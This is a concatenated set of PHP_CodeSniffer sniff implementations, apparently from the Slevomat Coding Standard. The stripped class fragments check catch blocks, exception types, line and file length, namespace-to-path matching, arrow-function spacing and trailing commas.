( !$this->assumeAllConditionExpressionsAreAlreadyBoolean && !ConditionHelper::conditionReturnsBoolean($phpcsFile, $conditionStartPointer, $conditionEndPointer) ) { if ($tokens[$pointerAfterInlineThen]['code'] !== T_INLINE_ELSE) { $phpcsFile->addError(...$errorParameters); } return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } $inlineElseEndPointer = TernaryOperatorHelper::getEndPointer($phpcsFile, $inlineThenPointer, $inlineElsePointer); $pointerAfterTernaryOperator = TokenHelper::findNextEffective($phpcsFile, $inlineElseEndPointer + 1); $phpcsFile->fixer->beginChangeset(); if ($tokens[$pointerAfterInlineThen]['code'] === T_FALSE) { $negativeCondition = ConditionHelper::getNegativeCondition($phpcsFile, $conditionStartPointer, $conditionEndPointer); FixerHelper::change($phpcsFile, $conditionStartPointer, $conditionEndPointer, $negativeCondition); } FixerHelper::removeBetween($phpcsFile, $conditionEndPointer, $pointerAfterTernaryOperator); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_CATCH, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $catchPointer */ public function process(File $phpcsFile, $catchPointer): void { $tokens = $phpcsFile->getTokens(); $catchToken = $tokens[$catchPointer]; $caughtTypes = CatchHelper::findCaughtTypesInCatch($phpcsFile, $catchToken); if (!in_array('\\Throwable', $caughtTypes, true)) { return; } $nextCatchPointer = TokenHelper::findNextEffective($phpcsFile, $catchToken['scope_closer'] + 1); while ($nextCatchPointer !== null) { $nextCatchToken = $tokens[$nextCatchPointer]; if ($nextCatchToken['code'] !== T_CATCH) { break; } $phpcsFile->addError('Unreachable catch block.', $nextCatchPointer, self::CODE_CATCH_AFTER_THROWABLE_CATCH); $nextCatchPointer = TokenHelper::findNextEffective($phpcsFile, $nextCatchToken['scope_closer'] + 1); } } } */ public function register(): array { return [ T_CATCH, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $catchPointer */ public function process(File $phpcsFile, $catchPointer): void { $tokens = $phpcsFile->getTokens(); $variablePointer = TokenHelper::findNext( $phpcsFile, T_VARIABLE, $tokens[$catchPointer]['parenthesis_opener'], $tokens[$catchPointer]['parenthesis_closer'], ); if ($variablePointer === null) { $phpcsFile->addError('Use of non-capturing catch is disallowed.', $catchPointer, self::CODE_DISALLOWED_NON_CAPTURING_CATCH); } } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $tokens = $phpcsFile->getTokens(); $message = sprintf('Referencing general \%s; use \%s instead.', Exception::class, Throwable::class); $referencedNames = ReferencedNameHelper::getAllReferencedNames($phpcsFile, $openTagPointer); foreach ($referencedNames as $referencedName) { $resolvedName = NamespaceHelper::resolveClassName( $phpcsFile, $referencedName->getNameAsReferencedInFile(), $referencedName->getStartPointer(), ); if ($resolvedName !== '\\Exception') { continue; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $referencedName->getStartPointer() - 1); if (in_array($tokens[$previousPointer]['code'], [T_EXTENDS, T_NEW, T_INSTANCEOF], true)) { // Allow \Exception in extends and instantiating it continue; } if ($tokens[$previousPointer]['code'] === T_BITWISE_OR) { $previousPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [...TokenHelper::INEFFECTIVE_TOKEN_CODES, ...TokenHelper::NAME_TOKEN_CODES, T_BITWISE_OR], $previousPointer - 1, ); } if ($tokens[$previousPointer]['code'] === T_OPEN_PARENTHESIS) { /** @var int $openParenthesisOpenerPointer */ $openParenthesisOpenerPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); if ($tokens[$openParenthesisOpenerPointer]['code'] === T_CATCH) { if ($this->searchForThrowableInNextCatches($phpcsFile, $openParenthesisOpenerPointer)) { continue; } } elseif ( array_key_exists('parenthesis_owner', $tokens[$previousPointer]) && $tokens[$tokens[$previousPointer]['parenthesis_owner']]['code'] === T_FUNCTION && $tokens[$previousPointer]['parenthesis_closer'] > $referencedName->getStartPointer() && SuppressHelper::isSniffSuppressed( $phpcsFile, $openParenthesisOpenerPointer, sprintf('%s.%s', self::NAME, self::CODE_REFERENCED_GENERAL_EXCEPTION), ) ) { continue; } } $fix = $phpcsFile->addFixableError( $message, $referencedName->getStartPointer(), self::CODE_REFERENCED_GENERAL_EXCEPTION, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $referencedName->getStartPointer(), $referencedName->getEndPointer(), '\Throwable'); $phpcsFile->fixer->endChangeset(); } } private function searchForThrowableInNextCatches(File $phpcsFile, int $catchPointer): bool { $tokens = $phpcsFile->getTokens(); $nextCatchPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$catchPointer]['scope_closer'] + 1); while ($nextCatchPointer !== null) { $nextCatchToken = $tokens[$nextCatchPointer]; if ($nextCatchToken['code'] !== T_CATCH) { break; } $caughtTypes = CatchHelper::findCaughtTypesInCatch($phpcsFile, $nextCatchToken); if (in_array('\\Throwable', $caughtTypes, true)) { return true; } $nextCatchPointer = TokenHelper::findNextEffective($phpcsFile, $nextCatchToken['scope_closer'] + 1); } return false; } } */ public function register(): array { return [ T_CATCH, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $catchPointer */ public function process(File $phpcsFile, $catchPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $variablePointer = TokenHelper::findNext( $phpcsFile, T_VARIABLE, $tokens[$catchPointer]['parenthesis_opener'], $tokens[$catchPointer]['parenthesis_closer'], ); if ($variablePointer === null) { return; } $variableName = $tokens[$variablePointer]['content']; if ($this->isVariableUsedInCodePart( $phpcsFile, $tokens[$catchPointer]['scope_opener'], $tokens[$catchPointer]['scope_closer'], $variableName, )) { return; } $tryEndPointer = CatchHelper::getTryEndPointer($phpcsFile, $catchPointer); $possibleFinallyPointer = $tokens[$tryEndPointer]['scope_condition']; if ( $tokens[$possibleFinallyPointer]['code'] === T_FINALLY && $this->isVariableUsedInCodePart( $phpcsFile, $tokens[$possibleFinallyPointer]['scope_opener'], $tokens[$possibleFinallyPointer]['scope_closer'], $variableName, ) ) { return; } $nextScopeEnd = count($tokens) - 1; foreach (array_reverse($tokens[$tryEndPointer]['conditions'], true) as $conditionPointer => $conditionCode) { if (in_array($conditionCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { $nextScopeEnd = $tokens[$conditionPointer]['scope_closer']; break; } } if ($this->isVariableUsedInCodePart($phpcsFile, $tryEndPointer, $nextScopeEnd, $variableName)) { return; } $fix = $phpcsFile->addFixableError('Non-capturing catch is required.', $catchPointer, self::CODE_NON_CAPTURING_CATCH_REQUIRED); if (!$fix) { return; } $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); $fixEndPointer = TokenHelper::findNextContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $variablePointer + 1, $tokens[$catchPointer]['parenthesis_closer'], ); $fixEndPointer ??= $tokens[$catchPointer]['parenthesis_closer']; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $pointerBeforeVariable, $fixEndPointer); $phpcsFile->fixer->endChangeset(); } private function isVariableUsedInCodePart(File $phpcsFile, int $codeStartPointer, int $codeEndPointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); $firstPointerInCode = $codeStartPointer + 1; for ($i = $firstPointerInCode; $i <= $codeEndPointer; $i++) { if ($tokens[$i]['code'] === T_VARIABLE) { if ($tokens[$i]['content'] !== $variableName) { continue; } if (ParameterHelper::isParameter($phpcsFile, $i)) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $firstPointerInCode, $i)) { continue; } $catchPointer = TokenHelper::findPrevious($phpcsFile, T_CATCH, $i - 1, $firstPointerInCode); if ($catchPointer === null) { return true; } if ($tokens[$catchPointer]['parenthesis_closer'] < $i) { return true; } } elseif ( in_array($tokens[$i]['code'], [T_DOUBLE_QUOTED_STRING, T_HEREDOC], true) && VariableHelper::isUsedInScopeInString($phpcsFile, $variableName, $i) ) { return true; } } return false; } } */ public function register(): array { return [T_OPEN_TAG]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->maxLinesLength = SniffSettingsHelper::normalizeInteger($this->maxLinesLength); $flags = array_keys(array_filter([ FunctionHelper::LINE_INCLUDE_COMMENT => $this->includeComments, FunctionHelper::LINE_INCLUDE_WHITESPACE => $this->includeWhitespace, ])); $flags = array_reduce($flags, static fn ($carry, $flag): int => $carry | $flag, 0); $length = FunctionHelper::getLineCount($phpcsFile, $pointer, $flags); if ($length <= $this->maxLinesLength) { return; } $errorMessage = sprintf('Your file is too long. Currently using %d lines. Can be up to %d lines.', $length, $this->maxLinesLength); $phpcsFile->addError($errorMessage, $pointer, self::CODE_FILE_TOO_LONG); } } */ private array $rootNamespaces; /** @var array dir(string) => true(bool) */ private array $skipDirs; /** @var list */ private array $extensions; /** * @param array $rootNamespaces directory(string) => namespace * @param list $skipDirs * @param list $extensions index(integer) => extension */ public function __construct(array $rootNamespaces, array $skipDirs, array $extensions) { $this->rootNamespaces = $rootNamespaces; $this->skipDirs = array_fill_keys($skipDirs, true); $this->extensions = array_map(static fn (string $extension): string => strtolower($extension), $extensions); } public function getTypeNameFromProjectPath(string $path): ?string { $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); if (!in_array($extension, $this->extensions, true)) { return null; } /** @var list $pathParts */ $pathParts = preg_split('~[/\\\]~', $path); $rootNamespace = null; while (count($pathParts) > 0) { array_shift($pathParts); foreach ($this->rootNamespaces as $directory => $namespace) { if (!StringHelper::startsWith(implode('/', $pathParts) . '/', $directory . '/')) { continue; } $directoryPartsCount = count(explode('/', $directory)); for ($i = 0; $i < $directoryPartsCount; $i++) { array_shift($pathParts); } $rootNamespace = $namespace; break 2; } } if ($rootNamespace === null) { return null; } array_unshift($pathParts, $rootNamespace); $typeName = implode('\\', array_filter($pathParts, fn (string $pathPart): bool => !isset($this->skipDirs[$pathPart]))); return substr($typeName, 0, -strlen('.' . $extension)); } } */ public function register(): array { return [T_OPEN_TAG]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter * @param int $pointer */ public function process(File $phpcsFile, $pointer): int { $tokens = $phpcsFile->getTokens(); for ($i = 0; $i < $phpcsFile->numTokens; $i++) { if ($tokens[$i]['column'] !== 1) { continue; } $this->checkLineLength($phpcsFile, $i); } return $phpcsFile->numTokens + 1; } private function checkLineLength(File $phpcsFile, int $pointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['column'] === 1 && $tokens[$pointer]['length'] === 0) { // Blank line. return; } $line = $tokens[$pointer]['line']; $nextLineStartPtr = $pointer; while (isset($tokens[$nextLineStartPtr]) && $line === $tokens[$nextLineStartPtr]['line']) { $pointer = $nextLineStartPtr; $nextLineStartPtr++; } if ($tokens[$pointer]['content'] === $phpcsFile->eolChar) { $pointer--; } $lineLength = $tokens[$pointer]['column'] + $tokens[$pointer]['length'] - 1; if ($lineLength <= $this->lineLengthLimit) { return; } if (in_array($tokens[$pointer]['code'], [T_COMMENT, T_DOC_COMMENT_STRING], true)) { if ($this->ignoreComments === true) { return; } // If this is a long comment, check if it can be broken up onto multiple lines. // Some comments contain unbreakable strings like URLs and so it makes sense // to ignore the line length in these cases if the URL would be longer than the max // line length once you indent it to the correct level. if ($lineLength > $this->lineLengthLimit) { $oldLength = strlen($tokens[$pointer]['content']); $newLength = strlen(ltrim($tokens[$pointer]['content'], "/#\t ")); $indent = $tokens[$pointer]['column'] - 1 + $oldLength - $newLength; $nonBreakingLength = $tokens[$pointer]['length']; $space = strrpos($tokens[$pointer]['content'], ' '); if ($space !== false) { $nonBreakingLength -= $space + 1; } if ($nonBreakingLength + $indent > $this->lineLengthLimit) { return; } } } if ($this->ignoreImports) { $usePointer = UseStatementHelper::getUseStatementPointer($phpcsFile, $pointer - 1); if ( is_int($usePointer) && $tokens[$usePointer]['line'] === $tokens[$pointer]['line'] && UseStatementHelper::isImportUse($phpcsFile, $usePointer) ) { return; } } $error = sprintf('Line exceeds maximum limit of %s characters, contains %s characters.', $this->lineLengthLimit, $lineLength); $phpcsFile->addError($error, $pointer, self::CODE_LINE_TOO_LONG); } } */ public array $rootNamespaces = []; /** @var list */ public array $skipDirs = []; /** @var list */ public array $ignoredNamespaces = []; /** @var list */ public array $extensions = ['php']; /** @var array|null */ private ?array $normalizedRootNamespaces = null; /** @var list|null */ private ?array $normalizedSkipDirs = null; /** @var list|null */ private ?array $normalizedIgnoredNamespaces = null; /** @var list|null */ private ?array $normalizedExtensions = null; private ?FilepathNamespaceExtractor $namespaceExtractor = null; /** * @return array */ public function register(): array { return TokenHelper::CLASS_TYPE_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $typePointer */ public function process(File $phpcsFile, $typePointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $namePointer */ $namePointer = TokenHelper::findNext($phpcsFile, T_STRING, $typePointer + 1); $typeName = NamespaceHelper::normalizeToCanonicalName(ClassHelper::getFullyQualifiedName($phpcsFile, $typePointer)); foreach ($this->getIgnoredNamespaces() as $ignoredNamespace) { if (!StringHelper::startsWith($typeName, $ignoredNamespace . '\\')) { continue; } return; } $filename = str_replace('/', DIRECTORY_SEPARATOR, $phpcsFile->getFilename()); $basePath = str_replace('/', DIRECTORY_SEPARATOR, $phpcsFile->config->basepath ?? ''); if ($basePath !== '' && StringHelper::startsWith($filename, $basePath)) { $filename = substr($filename, strlen($basePath)); } $expectedTypeName = $this->getNamespaceExtractor()->getTypeNameFromProjectPath($filename); if ($typeName === $expectedTypeName) { return; } $phpcsFile->addError( sprintf( '%s name %s does not match filepath %s.', ucfirst($tokens[$typePointer]['content']), $typeName, $phpcsFile->getFilename(), ), $namePointer, self::CODE_NO_MATCH_BETWEEN_TYPE_NAME_AND_FILE_NAME, ); } /** * @return array path(string) => namespace */ private function getRootNamespaces(): array { if ($this->normalizedRootNamespaces === null) { /** @var array $normalizedRootNamespaces */ $normalizedRootNamespaces = SniffSettingsHelper::normalizeAssociativeArray($this->rootNamespaces); $this->normalizedRootNamespaces = $normalizedRootNamespaces; uksort($this->normalizedRootNamespaces, static function (string $a, string $b): int { $aParts = explode('/', str_replace('\\', '/', $a)); $bParts = explode('/', str_replace('\\', '/', $b)); $minPartsCount = min(count($aParts), count($bParts)); for ($i = 0; $i < $minPartsCount; $i++) { $comparison = strcasecmp($bParts[$i], $aParts[$i]); if ($comparison === 0) { continue; } return $comparison; } return count($bParts) <=> count($aParts); }); } return $this->normalizedRootNamespaces; } /** * @return list */ private function getSkipDirs(): array { $this->normalizedSkipDirs ??= SniffSettingsHelper::normalizeArray($this->skipDirs); return $this->normalizedSkipDirs; } /** * @return list */ private function getIgnoredNamespaces(): array { $this->normalizedIgnoredNamespaces ??= SniffSettingsHelper::normalizeArray($this->ignoredNamespaces); return $this->normalizedIgnoredNamespaces; } /** * @return list */ private function getExtensions(): array { $this->normalizedExtensions ??= SniffSettingsHelper::normalizeArray($this->extensions); return $this->normalizedExtensions; } private function getNamespaceExtractor(): FilepathNamespaceExtractor { $this->namespaceExtractor ??= new FilepathNamespaceExtractor( $this->getRootNamespaces(), $this->getSkipDirs(), $this->getExtensions(), ); return $this->namespaceExtractor; } } */ public function register(): array { return [...TokenHelper::ONLY_NAME_TOKEN_CODES, T_SELF, T_STATIC, T_PARENT]; } protected function isCall(File $phpcsFile, int $stringPointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($tokens[$nextPointer]['code'] !== T_OPEN_PARENTHESIS) { return false; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $stringPointer - 1); return $tokens[$previousPointer]['code'] !== T_FUNCTION; } protected function getLineStart(File $phpcsFile, int $pointer): string { $firstPointerOnLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $pointer); return TokenHelper::getContent($phpcsFile, $firstPointerOnLine, $pointer); } protected function getCall(File $phpcsFile, int $parenthesisOpenerPointer, int $parenthesisCloserPointer): string { $tokens = $phpcsFile->getTokens(); $pointerBeforeParenthesisCloser = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisCloserPointer - 1); $endPointer = $tokens[$pointerBeforeParenthesisCloser]['code'] === T_COMMA ? $pointerBeforeParenthesisCloser : $parenthesisCloserPointer; $call = ''; for ($i = $parenthesisOpenerPointer + 1; $i < $endPointer; $i++) { if ($tokens[$i]['code'] === T_COMMA) { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($tokens[$nextPointer]['code'] === T_CLOSE_PARENTHESIS) { $i = $nextPointer - 1; continue; } } if ($tokens[$i]['code'] === T_WHITESPACE) { if ($tokens[$i]['content'] === $phpcsFile->eolChar) { if ($tokens[$i - 1]['code'] === T_COMMA) { $call .= ' '; } continue; } if ($tokens[$i]['column'] === 1) { // Nothing continue; } } $call .= $tokens[$i]['content']; } return trim($call); } protected function getLineEnd(File $phpcsFile, int $pointer): string { $firstPointerOnNextLine = TokenHelper::findFirstTokenOnNextLine($phpcsFile, $pointer); return rtrim(TokenHelper::getContent($phpcsFile, $pointer, $firstPointerOnNextLine - 1)); } } */ public function register(): array { return [ T_FN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $arrowFunctionPointer */ public function process(File $phpcsFile, $arrowFunctionPointer): void { $this->spacesCountAfterKeyword = SniffSettingsHelper::normalizeInteger($this->spacesCountAfterKeyword); $this->spacesCountBeforeArrow = SniffSettingsHelper::normalizeInteger($this->spacesCountBeforeArrow); $this->spacesCountAfterArrow = SniffSettingsHelper::normalizeInteger($this->spacesCountAfterArrow); $this->checkSpacesAfterKeyword($phpcsFile, $arrowFunctionPointer); $arrowPointer = TokenHelper::findNext($phpcsFile, T_FN_ARROW, $arrowFunctionPointer); $this->checkSpacesBeforeArrow($phpcsFile, $arrowPointer); $this->checkSpacesAfterArrow($phpcsFile, $arrowPointer); } private function checkSpacesAfterKeyword(File $phpcsFile, int $arrowFunctionPointer): void { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $arrowFunctionPointer + 1); $spaces = TokenHelper::getContent($phpcsFile, $arrowFunctionPointer + 1, $pointerAfter - 1); if ($this->allowMultiLine && strpos($spaces, $phpcsFile->eolChar) === 0) { return; } $actualSpaces = strlen($spaces); if ( $actualSpaces === $this->spacesCountAfterKeyword && ( $this->spacesCountAfterKeyword === 0 || preg_match('~^ +$~', $spaces) === 1 ) ) { return; } $fix = $phpcsFile->addFixableError( $this->formatErrorMessage('after "fn" keyword', $this->spacesCountAfterKeyword), $arrowFunctionPointer, self::CODE_INCORRECT_SPACES_AFTER_KEYWORD, ); if (!$fix) { return; } $this->fixSpaces($phpcsFile, $arrowFunctionPointer, $pointerAfter, $this->spacesCountAfterKeyword); } private function checkSpacesBeforeArrow(File $phpcsFile, int $arrowPointer): void { $pointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $arrowPointer - 1); $spaces = TokenHelper::getContent($phpcsFile, $pointerBefore + 1, $arrowPointer - 1); if ($this->allowMultiLine && strpos($spaces, $phpcsFile->eolChar) === 0) { return; } $actualSpaces = strlen($spaces); if ( $actualSpaces === $this->spacesCountBeforeArrow && ( $this->spacesCountBeforeArrow === 0 || preg_match('~^ +$~', $spaces) === 1 ) ) { return; } $fix = $phpcsFile->addFixableError( $this->formatErrorMessage('before =>', $this->spacesCountBeforeArrow), $arrowPointer, self::CODE_INCORRECT_SPACES_BEFORE_ARROW, ); if (!$fix) { return; } $this->fixSpaces($phpcsFile, $pointerBefore, $arrowPointer, $this->spacesCountBeforeArrow); } private function checkSpacesAfterArrow(File $phpcsFile, int $arrowPointer): void { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $arrowPointer + 1); $spaces = TokenHelper::getContent($phpcsFile, $arrowPointer + 1, $pointerAfter - 1); if ($this->allowMultiLine && strpos($spaces, $phpcsFile->eolChar) === 0) { return; } $actualSpaces = strlen($spaces); if ($actualSpaces === $this->spacesCountAfterArrow && ($this->spacesCountAfterArrow === 0 || preg_match('~^ +$~', $spaces) === 1)) { return; } $fix = $phpcsFile->addFixableError( $this->formatErrorMessage('after =>', $this->spacesCountAfterArrow), $arrowPointer, self::CODE_INCORRECT_SPACES_AFTER_ARROW, ); if (!$fix) { return; } $this->fixSpaces($phpcsFile, $arrowPointer, $pointerAfter, $this->spacesCountAfterArrow); } private function formatErrorMessage(string $suffix, int $requiredSpaces): string { return $requiredSpaces === 0 ? sprintf('There must be no whitespace %s.', $suffix) : sprintf('There must be exactly %d whitespace%s %s.', $requiredSpaces, $requiredSpaces !== 1 ? 's' : '', $suffix); } private function fixSpaces(File $phpcsFile, int $pointerBefore, int $pointerAfter, int $requiredSpaces): void { $phpcsFile->fixer->beginChangeset(); if ($requiredSpaces > 0) { FixerHelper::add($phpcsFile, $pointerBefore, str_repeat(' ', $requiredSpaces)); } FixerHelper::removeBetween($phpcsFile, $pointerBefore, $pointerAfter); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_FN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $arrowFunctionPointer */ public function process(File $phpcsFile, $arrowFunctionPointer): void { $phpcsFile->addError('Use of arrow function is disallowed.', $arrowFunctionPointer, self::CODE_DISALLOWED_ARROW_FUNCTION); } } */ public function register(): array { return [T_FUNCTION]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $tokens = $phpcsFile->getTokens(); if (FunctionHelper::isAbstract($phpcsFile, $functionPointer)) { return; } if (FunctionHelper::getName($phpcsFile, $functionPointer) === '__construct') { $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_PRIVATE, T_SEMICOLON, T_CLOSE_CURLY_BRACKET, T_OPEN_CURLY_BRACKET], $functionPointer - 1, ); if ($previousPointer !== null && in_array($tokens[$previousPointer]['code'], [T_PRIVATE, T_PROTECTED], true)) { return; } $propertyPromotion = TokenHelper::findNext( $phpcsFile, Tokens::$scopeModifiers, $tokens[$functionPointer]['parenthesis_opener'] + 1, $tokens[$functionPointer]['parenthesis_closer'], ); if ($propertyPromotion !== null) { return; } } $firstContent = TokenHelper::findNextExcluding( $phpcsFile, T_WHITESPACE, $tokens[$functionPointer]['scope_opener'] + 1, $tokens[$functionPointer]['scope_closer'], ); if ($firstContent !== null) { return; } $phpcsFile->addError( 'Empty function body must have at least a comment to explain why is empty.', $functionPointer, self::CODE_EMPTY_FUNCTION, ); } } */ public function register(): array { return [ T_PARAM_NAME, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $argumentNamePointer */ public function process(File $phpcsFile, $argumentNamePointer): void { $tokens = $phpcsFile->getTokens(); $phpcsFile->addError( sprintf('Named arguments are disallowed, usage of named argument "%s" found.', $tokens[$argumentNamePointer]['content']), $argumentNamePointer, self::CODE_DISALLOWED_NAMED_ARGUMENT, ); } } */ public function register(): array { return [ T_OPEN_PARENTHESIS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $parenthesisOpenerPointer */ public function process(File $phpcsFile, $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if (!in_array( $tokens[$pointerBeforeParenthesisOpener]['code'], [...TokenHelper::ONLY_NAME_TOKEN_CODES, T_STRING, T_VARIABLE, T_ISSET, T_UNSET, T_CLOSE_PARENTHESIS, T_SELF, T_STATIC, T_PARENT], true, )) { return; } $functionPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeParenthesisOpener - 1); if (in_array($tokens[$functionPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { return; } $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; $pointerBeforeParenthesisCloser = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisCloserPointer - 1); if ($tokens[$pointerBeforeParenthesisCloser]['code'] !== T_COMMA) { return; } if ($this->onlySingleLine && $tokens[$parenthesisOpenerPointer]['line'] !== $tokens[$parenthesisCloserPointer]['line']) { return; } $fix = $phpcsFile->addFixableError( 'Trailing comma after the last parameter in function call is disallowed.', $pointerBeforeParenthesisCloser, self::CODE_DISALLOWED_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $pointerBeforeParenthesisCloser, ''); if ($tokens[$pointerBeforeParenthesisCloser]['line'] === $tokens[$parenthesisCloserPointer]['line']) { FixerHelper::removeBetween($phpcsFile, $pointerBeforeParenthesisCloser, $parenthesisCloserPointer); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_CLOSURE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = $tokens[$functionPointer]['parenthesis_closer']; $usePointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisCloserPointer + 1); if ($tokens[$usePointer]['code'] !== T_USE) { return; } $useParenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); $useParenthesisCloserPointer = $tokens[$useParenthesisOpenerPointer]['parenthesis_closer']; $pointerBeforeUseParenthesisCloser = TokenHelper::findPreviousExcluding( $phpcsFile, T_WHITESPACE, $tokens[$useParenthesisOpenerPointer]['parenthesis_closer'] - 1, $useParenthesisOpenerPointer, ); if ($tokens[$pointerBeforeUseParenthesisCloser]['code'] !== T_COMMA) { return; } if ($this->onlySingleLine && $tokens[$useParenthesisOpenerPointer]['line'] !== $tokens[$useParenthesisCloserPointer]['line']) { return; } $fix = $phpcsFile->addFixableError( 'Trailing comma after the last inherited variable in "use" of closure declaration is disallowed.', $pointerBeforeUseParenthesisCloser, self::CODE_DISALLOWED_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $pointerBeforeUseParenthesisCloser, ''); if ($tokens[$pointerBeforeUseParenthesisCloser]['line'] === $tokens[$useParenthesisCloserPointer]['line']) { FixerHelper::removeBetween($phpcsFile, $pointerBeforeUseParenthesisCloser, $useParenthesisCloserPointer); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $tokens[$functionPointer]['parenthesis_opener']; $parenthesisCloserPointer = $tokens[$functionPointer]['parenthesis_closer']; $pointerBeforeParenthesisCloser = TokenHelper::findPreviousExcluding( $phpcsFile, T_WHITESPACE, $parenthesisCloserPointer - 1, $parenthesisOpenerPointer, ); if ($tokens[$pointerBeforeParenthesisCloser]['code'] !== T_COMMA) { return; } if ($this->onlySingleLine && $tokens[$parenthesisOpenerPointer]['line'] !== $tokens[$parenthesisCloserPointer]['line']) { return; } $fix = $phpcsFile->addFixableError( 'Trailing comma after the last parameter in function declaration is disallowed.', $pointerBeforeParenthesisCloser, self::CODE_DISALLOWED_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $pointerBeforeParenthesisCloser, ''); if ($tokens[$pointerBeforeParenthesisCloser]['line'] === $tokens[$parenthesisCloserPointer]['line']) { FixerHelper::removeBetween($phpcsFile, $pointerBeforeParenthesisCloser, $parenthesisCloserPointer); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_FUNCTION]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $file, $functionPointer): void { $this->maxLinesLength = SniffSettingsHelper::normalizeInteger($this->maxLinesLength); $flags = array_keys(array_filter([ FunctionHelper::LINE_INCLUDE_COMMENT => $this->includeComments, FunctionHelper::LINE_INCLUDE_WHITESPACE => $this->includeWhitespace, ])); $flags = array_reduce($flags, static fn ($carry, $flag): int => $carry | $flag, 0); $length = FunctionHelper::getFunctionLengthInLines($file, $functionPointer, $flags); if ($length <= $this->maxLinesLength) { return; } $errorMessage = sprintf( 'Your function is too long. Currently using %d lines. Can be up to %d lines.', $length, $this->maxLinesLength, ); $file->addError($errorMessage, $functionPointer, self::CODE_FUNCTION_LENGTH); } } */ public function register(): array { return [ T_PARAM_NAME, ]; } /** * @phpcsSuppress 